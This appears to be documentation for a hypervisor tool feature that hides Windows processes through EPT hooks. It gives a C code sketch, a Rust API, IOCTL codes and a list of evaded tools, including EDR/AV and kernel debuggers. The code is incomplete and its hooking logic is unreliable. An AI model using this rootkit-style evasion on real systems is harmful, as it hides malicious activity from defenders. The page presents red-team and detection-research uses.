Process Hiding
Ring -1Hide processes from ring 0 enumeration using hypervisor EPT manipulation.
Advanced Feature
Process hiding at Ring -1 is extremely powerful. Hidden processes cannot be seen by the kernel, security products, or standard tools. Use responsibly.
Overview
The hypervisor intercepts kernel enumeration by hooking the memory pages that contain process-related data structures. When the kernel or any ring 0 code attempts to walk the process list, the hypervisor presents a modified view that excludes hidden processes.
What Gets Hidden
- • ActiveProcessLinks — The main doubly-linked list in EPROCESS
- • PspCidTable — Client ID handle table entries
- • Process handles — Obfuscated from handle table enumeration
- • Thread enumeration — Threads of hidden processes
Implementation
Algorithm
// Hide process via EPT hooking
NTSTATUS HvHideProcess(ULONG ProcessId) {
// 1. Get EPROCESS pointer for target process
PEPROCESS Process;
PsLookupProcessByProcessId(ProcessId, &Process);
// 2. Get physical address of EPROCESS.ActiveProcessLinks
PHYSICAL_ADDRESS PhysAddr = MmGetPhysicalAddress(
&Process->ActiveProcessLinks
);
// 3. Set up EPT hook for read operations
EptSetupHook(
PhysAddr,
EPT_HOOK_TYPE_READ,
HiddenProcessReadHandler
);
// 4. Store original link values for restoration
SaveOriginalLinks(ProcessId, Process);
return STATUS_SUCCESS;
}
// EPT violation handler - called when kernel reads ActiveProcessLinks
VOID HiddenProcessReadHandler(PVOID Address, ULONG Size) {
PLIST_ENTRY Links = (PLIST_ENTRY)Address;
// Present modified links that skip the hidden process
// Effectively: Prev->Flink = Hidden->Flink
// Next->Blink = Hidden->Blink
ModifyLinksToSkipHidden(Links);
}API
Usage
use callback::{hv_hide_process, hv_unhide_process, hv_list_hidden_processes};
// Hide a process
let pid: u32 = 1234;
hv_hide_process(pid)?;
// List all hidden processes
let hidden: Vec<u32> = hv_list_hidden_processes()?;
println!("Hidden PIDs: {:?}", hidden);
// Unhide a process
hv_unhide_process(pid)?;IOCTLs
| IOCTL | Code | Description |
|---|---|---|
| HV_HIDE_PROCESS | 0x850 | Hide process by PID |
| HV_UNHIDE_PROCESS | 0x851 | Unhide process by PID |
| HV_LIST_HIDDEN | 0x852 | List all hidden PIDs |
Detection Evasion
Process hiding at Ring -1 evades:
- ✓ Task Manager
- ✓ Process Explorer / Process Hacker
- ✓ CreateToolhelp32Snapshot (ring 3)
- ✓ NtQuerySystemInformation (ring 0)
- ✓ PspCidTable enumeration (ring 0)
- ✓ EDR/AV process scanning
- ✓ Kernel debugger !process command
Limitations
- • Process must be running when hide is applied
- • Does not persist across reboots
- • Resource usage (CPU, memory) may still be observable indirectly
- • Another hypervisor could detect the manipulation
- • Network connections from hidden process are still visible (use port hiding)
UI Access
Two ways to hide processes:
- 1. Process context menu → Miscellaneous → Hide Process (Ring -1)
- 2. Hypervisor tab → Enter PID → Hide
Hidden processes show in the Hypervisor tab's "Hidden Processes" list with unhide option.
Use Cases
- • Red team operations requiring process stealth
- • Testing security product visibility
- • Research on process hiding detection
- • Demonstrating hypervisor capabilities